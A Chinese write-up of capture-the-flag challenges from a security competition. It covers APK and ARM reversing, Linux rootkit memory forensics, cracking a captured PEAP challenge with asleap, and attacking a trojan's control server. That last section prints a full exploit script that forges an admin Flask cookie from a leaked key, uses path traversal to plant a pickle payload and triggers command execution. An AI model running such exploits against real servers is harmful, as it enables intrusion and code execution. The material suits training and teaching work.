近2年来,安全大赛覆盖的内容越多越多涉及新技术、新业务,如工控、物联网、无线攻防、移动安全、区块链等,大部分选手对此比较陌生。本次技能大赛的精英赛是由CTF个人赛排名靠前的优胜选手参加,其中涉及较多新技术安全内容,整体解题率较低。为熟悉新技术安全的解题思路,对相关初学者的学习有所助益,特整理编写此文。
easyAPK
直接反编译很容易找到java代码
public static String reChange(String str) {
char[] charArray = str.toCharArray();
int length = charArray.length;
for (int i = 0; i < length / 2; i++) {
char c = charArray[i];
int i2 = (length - 1) - i;
charArray[i] = charArray[i2];
charArray[i2] = c;
}
return String.valueOf(charArray);
}
protected static boolean checkflag(String strIn) {
String[] sArray = strIn.split("_");
Log.i("xxx1", String.format("%d", new Object[]{Integer.valueOf(sArray.length)}));
if (sArray.length == 4 && strIn.length() == 27) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < sArray.length; i++) {
String reChange = reChange(sArray[i]);
String substring = reChange.substring(0, i + 1);
String substring2 = reChange.substring(i + 1);
String reChange2 = reChange(substring);
String reChange3 = reChange(substring2);
sb.append(reChange2);
sb.append(reChange3);
}
BigInteger m = new BigInteger(sb.toString(), 16);
if (m.pow(65537).mod(new BigInteger("A3332C65844CC6F5E5DABE8DD42FDE39", 16)).toString(16).compareTo("6d14c92d4ae244b583227f1e870f57bc") == 0) {
return true;
}
}
return false;
}
题目大概疑似是flag长度27位,由三个_
连接而成的字符串,经过字符串一系列转化后得到16进制hash字串,然后进行RSA加密运算,运算结果与固定值进行比较。
逆向思路:
1、对RSA的n
进行分解,执行RSA解密
2、观察字符串操作的规律,逆向回原始串即可
RSA的加密结果为0x6d14c92d4ae244b583227f1e870f57bc
,e=65537
,n=0xA3332C65844CC6F5E5DABE8DD42FDE39
利用RSA大数分解工具n
,如RsaTool2
,yafu
等,得到p=12004517743563056963;q=18070686016358995667
, 解密后得到cafe2c86588df9d0798304e8
解密code如下:
p=12004517743563056963
q=18070686016358995667
n=0xA3332C65844CC6F5E5DABE8DD42FDE39
s='6d14c92d4ae244b583227f1e870f57bc'
print n==p*q
import gmpy2
d=gmpy2.invert(65537,(p-1)*(q-1))
c=int(s,16)
m=pow(c,d,n)
print hex(m)[2:]
#cafe2c86588df9d0798304e8
字符串判断运算可看出输入长度为27,其中有3个_
,共4组,则实际字符应该有24个,解密的字符刚好24个,每组6个hex字符
观察一下程序编码规律,简单逆向即可
简单重写一下编码程序,调试观察一下
def reChange(s):
s=list(s)
for i in range(0,len(s)/2,1):
c=s[i]
s[i]=s[len(s)-1-i]
s[len(s)-1-i]=c
return ''.join(s)
def sencrypt(str):
txt=str.split('_')
res=''
for i in range(len(txt)):
re1=reChange(txt[i])
ss=re1[0:i+1]
ss2=re1[i+1:]
re2=reChange(ss)
re3=reChange(ss2)
#print re1,re2,re3
res+='_'+re2+re3
return res
def sdecrypt(str):
txt=str.split('_')
res=''
for i in range(len(txt)):
c=txt[i]
res+='_'+c[i+1:]+c[:i+1]
return res
print 'abcdef_ghijkl_mnopqr_stuvwx'
print sencrypt('abcdef_ghijkl_mnopqr_stuvwx')[1:]
#abcdef_ghijkl_mnopqr_stuvwx
#fabcde_klghij_pqrmno_uvwxst
可看出按照序号编组(下划线隔开),编码将第n组的后n位和前6-n位拼起来即可,那解码就是将第n组的后6-n位与前n位拼起来即可。
c='cafe2c86588df9d0798304e8'
txt='_'.join(c[i:i+6] for i in range(0,len(c),6))
txt=txt.split('_')
res=''
for i in range(len(txt)):
c=txt[i]
res+='_'+c[i+1:]+c[:i+1]
print res[1:],len(res[1:])
#flag: afe2cc_588d86_079f9d_e88304
ARM逆向
IDA反编译,找到核心操作
switch ( v6[i + 3672] )
{
case 'a':
LODWORD(v8) = v8 - 1;
break;
case 'd':
LODWORD(v8) = v8 + 1;
break;
case 's':
++HIDWORD(v8);
break;
case 'w':
--HIDWORD(v8);
break;
default:
break;
}
if ( byte_412070[10 * SHIDWORD(v8) + (signed int)v8] )
{
puts("wrong way");
return 0LL;
}
v6[i + 3776] = byte_4120D8[10 * SHIDWORD(v8) + (signed int)v8] + 19;
可看出是个经典的走迷宫操作,程序根据输入的步键走,如果寻找出口即可get flag
密码是个10*10的迷宫,0为道路,1为墙
[[1 0 1 1 1 1 1 1 1 1]
[1 0 0 0 0 0 0 0 0 1]
[1 1 1 1 1 1 1 1 0 1]
[1 0 0 0 0 0 0 0 0 1]
[1 0 1 1 1 1 1 1 1 1]
[1 0 1 0 0 0 1 1 1 1]
[1 0 1 0 1 0 0 1 1 1]
[1 0 1 0 1 1 0 0 1 1]
[1 0 0 0 1 1 1 0 0 1]
[1 1 1 1 1 1 1 1 0 1]]
手动或程序走一下迷宫
startI = 0
startJ = 1
ress=''
def visit(i,j):
global ress
maze[i][j] ='p'
if j+1<sx:
if(maze[i][j+1] == '0'):
ress+='d'
visit(i,j+1)
if i+1<sx:
if(maze[i+1][j] == '0'):
ress+='s'
visit(i+1,j)
if j-1>=0:
if(maze[i][j-1] == '0'):
ress+='a'
visit(i,j-1)
if i-1>=0:
if(maze[i-1][j] == '0'):
ress+='w'
visit(i-1,j)
maze[i][j] ='0'
maze=[]
f='''1011111111
1000000001
1111111101
1000000001
1011111111
1010001111
1010100111
1010110011
1000111001
1111111101'''
for line in f.split('\n'):
mazeline=line
maze.append(list(mazeline))
sx=len(maze)
sy=sx
print "The Result:"
visit(startI,startJ)
print ress
#sdddddddssaaaaaaasssssddwwwddsdsdsds
程序为arm aarch64的程序,直接无法运行,需要安装aarch64运行库
apt-get install qemu-user
apt-get install libc6-arm64-gnu
apt-get install gcc-arm-linux-gnueabi
apt-get install gcc-aarch64-linux-gnu
sudo ln -s /usr/aarch64-linux-gnu/lib/ld-linux-aarch64.so.1 /lib/
export LD_LIBRARY_PATH=/usr/aarch64-linux-gnu/lib/
输入即可got flag
~/temp$ ./bin
sdddddddssaaaaaaasssssddwwwddsdsdsds
flag is=flag{405A5934322E2091C987E7586B544292}
RootKit取证
题目为linux内存取证,由于vol.py默认只支持windows系列操作系统的内存取证,首先将题目提供的ubuntu1604.zip拷贝到%volatility_dir%/volatility\plugins\linux目录中
再使用python vol.py --info
就可以看到profile中添加了一行支持Ubuntu16.04
Profiles
--------
Linuxubuntu1604x64 - A Profile for Linux ubuntu1604 x64
过滤查看一下vol.py支持的linux指令
>python vol.py --info|findstr linux
Volatility Foundation Volatility Framework 2.6
linux_apihooks - Checks for userland apihooks
linux_arp - Print the ARP table
linux_aslr_shift - Automatically detect the Linux ASLR shift
linux_banner - Prints the Linux banner information
linux_bash - Recover bash history from bash process memory
linux_bash_env - Recover a process' dynamic environment variables
linux_bash_hash - Recover bash hash table from bash process memory
linux_check_afinfo - Verifies the operation function pointers of network protocols
linux_check_creds - Checks if any processes are sharing credential structures
linux_check_evt_arm - Checks the Exception Vector Table to look for syscall table hooking
linux_check_fop - Check file operation structures for rootkit modifications
linux_check_idt - Checks if the IDT has been altered
linux_check_inline_kernel - Check for inline kernel hooks
linux_check_modules - Compares module list to sysfs info, if available
linux_check_syscall - Checks if the system call table has been altered
linux_check_syscall_arm - Checks if the system call table has been altered
linux_check_tty - Checks tty devices for hooks
linux_cpuinfo - Prints info about each active processor
linux_dentry_cache - Gather files from the dentry cache
linux_dmesg - Gather dmesg buffer
linux_dump_map - Writes selected memory mappings to disk
linux_dynamic_env - Recover a process' dynamic environment variables
linux_elfs - Find ELF binaries in process mappings
linux_enumerate_files - Lists files referenced by the filesystem cache
linux_find_file - Lists and recovers files from memory
linux_getcwd - Lists current working directory of each process
linux_hidden_modules - Carves memory to find hidden kernel modules
linux_ifconfig - Gathers active interfaces
linux_info_regs - It's like 'info registers' in GDB. It prints out all the
linux_iomem - Provides output similar to /proc/iomem
linux_kernel_opened_files - Lists files that are opened from within the kernel
linux_keyboard_notifiers - Parses the keyboard notifier call chain
linux_ldrmodules - Compares the output of proc maps with the list of libraries from libdl
linux_library_list - Lists libraries loaded into a process
linux_librarydump - Dumps shared libraries in process memory to disk
linux_list_raw - List applications with promiscuous sockets
linux_lsmod - Gather loaded kernel modules
linux_lsof - Lists file descriptors and their path
linux_malfind - Looks for suspicious process mappings
linux_memmap - Dumps the memory map for linux tasks
linux_moddump - Extract loaded kernel modules
linux_mount - Gather mounted fs/devices
linux_mount_cache - Gather mounted fs/devices from kmem_cache
linux_netfilter - Lists Netfilter hooks
linux_netscan - Carves for network connection structures
linux_netstat - Lists open sockets
linux_pidhashtable - Enumerates processes through the PID hash table
linux_pkt_queues - Writes per-process packet queues out to disk
linux_plthook - Scan ELF binaries' PLT for hooks to non-NEEDED images
linux_proc_maps - Gathers process memory maps
linux_proc_maps_rb - Gathers process maps for linux through the mappings red-black tree
linux_procdump - Dumps a process's executable image to disk
linux_process_hollow - Checks for signs of process hollowing
linux_psaux - Gathers processes along with full command line and start time
linux_psenv - Gathers processes along with their static environment variables
linux_pslist - Gather active tasks by walking the task_struct->task list
linux_pslist_cache - Gather tasks from the kmem_cache
linux_psscan - Scan physical memory for processes
linux_pstree - Shows the parent/child relationship between processes
linux_psxview - Find hidden processes with various process listings
linux_recover_filesystem - Recovers the entire cached file system from memory
linux_route_cache - Recovers the routing cache from memory
linux_sk_buff_cache - Recovers packets from the sk_buff kmem_cache
linux_slabinfo - Mimics /proc/slabinfo on a running machine
linux_strings - Match physical offsets to virtual addresses (may take a while, VERY verbose)
linux_threads - Prints threads of processes
linux_tmpfs - Recovers tmpfs filesystems from memory
linux_truecrypt_passphrase - Recovers cached Truecrypt passphrases
linux_vma_cache - Gather VMAs from the vm_area_struct cache
linux_volshell - Shell in the memory image
linux_yarascan - A shell in the Linux memory image
一般rootkit可能已注入系统模块或驱动,用linux_lsmod
查看一下系统模块
>python vol.py -f ram.lime --profile=Linuxubuntu1604x64 linux_lsmod
Volatility Foundation Volatility Framework 2.6
ffffffffc05a3040 lime 20480
ffffffffc05e6040 w1ndsko 20480
ffffffffc05ec1c0 vmw_balloon 20480
......
但是不确定哪个是rootkit模块,那利用linux_moddump
指令将所有加载的模块都导出来
看名字猜测w1ndsko
比较可疑,IDA反编译一下
其中一串Oh8E0oM1XfDBSAFqtRr9cvzx
应该是密文,ubuntu16.04中保存为1.txt,与rootkit模块同目录
模拟加载rootkit模块(insmod w1nds.ko
),自动将1.txt替换为flag:flag{now_u_know_r00tkit}
木马回溯
APK是木马客户端,动态抓取或简单解密即可得到上线地址,因检测了模拟器,需patch掉模拟器检测的部分
APK中字段及URL地址的加密密钥为8885934cdd747de041c0f4278a4aaf634a0c985a6a7b0b624e1255acd9427a91
,加密方法为AES/ECB/PKCS5, 直接用cyberchef等宫工具解密相关hash即可
抓到服务器地址之后扫描一下发现img目录下存在目录遍历,抓包发现中间件是nginx1.10.3
利用/img../可浏览上一级目录的文件
无法直接下载py文件,在__pycache__
中找到pyc文件可下载,下载并反编译
对py进行分析,发现存在反序列化漏洞,主要功能函数调试代码如下,去掉了加解密的过程及部分过滤判断,可单独运行进行调试
#coding:utf-8
from flask import Flask, request,render_template_string,session
import pickle,hashlib,json
import datetime
app = Flask(__name__)
app.permanent_session_lifetime = datetime.timedelta(hours=1)# attention: cookie 1 hour valid, change session every hour
app.debug=False
app.config["SECRET_KEY"] = "3655c56ec2edae6d29ddaf1d8379b7728bca"
@app.route("/")
def index():
name = 'guest'
if 'user' not in session:
session['user']=name
if session['user']=='admin':
template = u'''
<div class="center-content">
<h1>Oops! You are admin!</h1>
</div>
'''
else:
template="Hello, " + session['user']+"\n\n\n\n\n"
return render_template_string(template)
@app.route("/upload",methods=['POST','GET'])
def upload():
try:
f=request.files['myfile']
data=f.read()
f.seek(0,0)
f.save('./img/'+f.filename)
except:
return ''
return ''
@app.route("/online",methods=['POST','GET'])
def online():
try:
pcinfo=json.loads(request.data.decode())
print(pcinfo)
sernum=hashlib.md5((pcinfo['IMEI']+pcinfo['RAND']).encode('utf8')).hexdigest()
file=open('./remote_mobile/'+sernum+'.dat','wb')
xx={'makers':pcinfo['makers'],'IMEI':pcinfo['IMEI'],'RAND':pcinfo['RAND']}
pickle.dump(xx,file)
file.close()
except Exception as e:
return ''
return ''
@app.route("/search",methods=['POST','GET'])
def search():
try:
if session['user']!='admin':
return 'no auth'
sx=request.form.get('serial')
if len(sx)==32:
f=open('./remote_mobile/%s.dat'%sx,'rb')
pc=pickle.load(f)
print(pc)
return pc['makers']+'\n'+pc['IMEI']+'\n'+pc['RAND']
except Exception as e:
return str(e)
return 'no auth'
if __name__ == "__main__":
app.run()
/online
可将肉鸡的手机信息数据序列化后保存为文件./remote_mobile/{sernum}.dat
/search
必须在admin账户下执行,将`./remote_mobile/{sernum}.dat
内容读取并反序列化解码,可以执行指令
/upload
可上传文件保存到img
目录下,可以上传序列化到文件中
构造反序列化字符串通过upload功能路径穿越替换dat文件,执行反序列化payload还需要admin权限,通过源码泄露的secret_key构造一个admin的cookie,即可执行指令。
可直接指向指令反弹shell,或写入flag内容到可读取的目录中,或利用反序列化命令执行将flag内容读取替换到remote_mobile
下文件反序列化内容中中,次执行反序列化即可将flag打印出来
调试利用脚本如下:
import requests,hashlib,pickle,json
pcinfol={"makers":"aa","IMEI":"1380000100","RAND":"a"*40}
pcinfo2={"makers":"22","IMEI":"1380000000","RAND":"a"*40}#RAND match flag length
pcinfol=str(json.dumps(pcinfol))
pcinfo2=str(json.dumps(pcinfo2))
print(pcinfol)
print(pcinfo2)
class EXP(object):
def __init__(self,sernum):
self.sernum=sernum
def __reduce__(self):
#return eval, ("__import__('os').system('a=`cat /*flag*`;echo $a > ./img/xy.txt')",)#put flag in folder where you can read
return eval, ("__import__('os').system('a=`cat /*flag*`;sed -i \"s/{y}/$a/\" ./remote_mobile/{x}.dat')".format(x=self.sernum,y='a'*40),) # guest length of flag may be 40
def exp(ip, port):
try:
BaseUrl="http://%s:%d/"%(ip, port)
a=requests.Session()
cookie={'session':'eyJ1c2VyIjoiYWRtaW4ifQ.Xfw22w.bW7LJnDE9jLpkZ_LQ3OlGN4Qy2c'}
a.cookies=requests.utils.cookiejar_from_dict(cookie,cookiejar=None,overwrite=True)
a.post(url=BaseUrl+'online',data=pcinfol,headers={'content-Type': 'xxx'})
x=a.post(url=BaseUrl+'online',data=pcinfo2,headers={'content-Type': 'xxx'})
print(x.text)
sernum1=hashlib.md5((eval(pcinfol)["IMEI"]+eval(pcinfol)["RAND"]).encode('utf8')).hexdigest() #filename1
sernum2=hashlib.md5((eval(pcinfo2)["IMEI"]+eval(pcinfo2)["RAND"]).encode('utf8')).hexdigest()#filename2
print(sernum1)
print(sernum2)
exp2=EXP(sernum2) # py unsearilize
tmp_file_name='ff.dat'
f=open(tmp_file_name,'wb')
pickle.dump(exp2,f)
f.close()
files={'myfile': ("../remote_mobile/{sernum}.dat".format(sernum=sernum1),open(tmp_file_name, 'rb'))}
r=a.post(BaseUrl + "upload", files=files) #upload unsearilize content into file
datal={"serial": sernum1}
data2={"serial": sernum2}
r=a.post(BaseUrl + 'search' ,data=datal)#execute unsearilize payload
print(r.text)
r=a.post(BaseUrl + 'search', data=data2)#execute cat flag
print(r.text)
return True
except Exception as e :
print(str(e))
return False
return False
if __name__== "__main__" :
print(exp('127.0.0.1', 5000))
智能合约
EVM bytecode逆向,详见https://xz.aliyun.com/t/6934#toc-0 , 不再赘叙
hack eap
黑客攻击了某企业的无线网络,你能通过数据分析找到入侵者么?入侵者在传送数据时暴露了自己的信息,你可以通过企业地址的oui解开他的NThash么
Hint: PEAP-MSV2
根据猜测,无线攻击经常可能会出现DOS攻击,先分析一下数据包中的Deauth数据包
wlan.fc.type_subtype == 12
得到受攻击的企业网络AP的MAC地址为d6:b0:fd:eb:91:d5
过滤连接该MAC地址的数据包
wlan.da == d6:b0:fd:eb:91:d5
过滤后发现60:02:b4:77:64:63
向该地址发送LL数据包文,获得挑战码与响应码如下:
挑战码:
6c656e67652d34303a65333a33653a31663a36353a38643a61363a3161
解码为lenge-40:e3:3e:1f:65:8d:a6:1a
响应码
706f6e73652d76616c75653a61353a37363a32343a33663a39393a33653a31653a32383a38383a64333a33623a66353a31343a32373a34663a66383a62613a36343a36653a34373a62613a62343a37313a6333
hex解码得到ponse-value:a5:76:24:3f:99:3e:1e:28:88:d3:3b:f5:14:27:4f:f8:ba:64:6e:47:ba:b4:71:c3
利用kali里的asleap工具爆破密码,根据题目提示,密码可能为AP-MAC地址的 OUI:d6:b0:fd
(OUI为MAC地址的前3个hex字节,标识硬件制造商编号,一般为大写形式)
root@kali:~# echo "D6:B0:FD" > pass.txt
root@kali:~# asleap -C 40:e3:3e:1f:65:8d:a6:1a -R a5:76:24:3f:99:3e:1e:28:88:d3:3b:f5:14:27:4f:f8:ba:64:6e:47:ba:b4:71:c3 -W pass.txt
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
Using wordlist mode with "pass.txt".
hash bytes: be11
NT hash: ab581d2b235f02641bf4cd1759f2be11
password: D6:B0:FD
#flag为flag{ab581d2b235f02641bf4cd1759f2be11}
web渗透-note
详见https://xz.aliyun.com/t/6894#toc-8, 不再赘叙
部分离线题目文件下载地址:https://pan.baidu.com/s/1Qokv9mRSvNAM1D3Hg2egdQ 提取码:xtus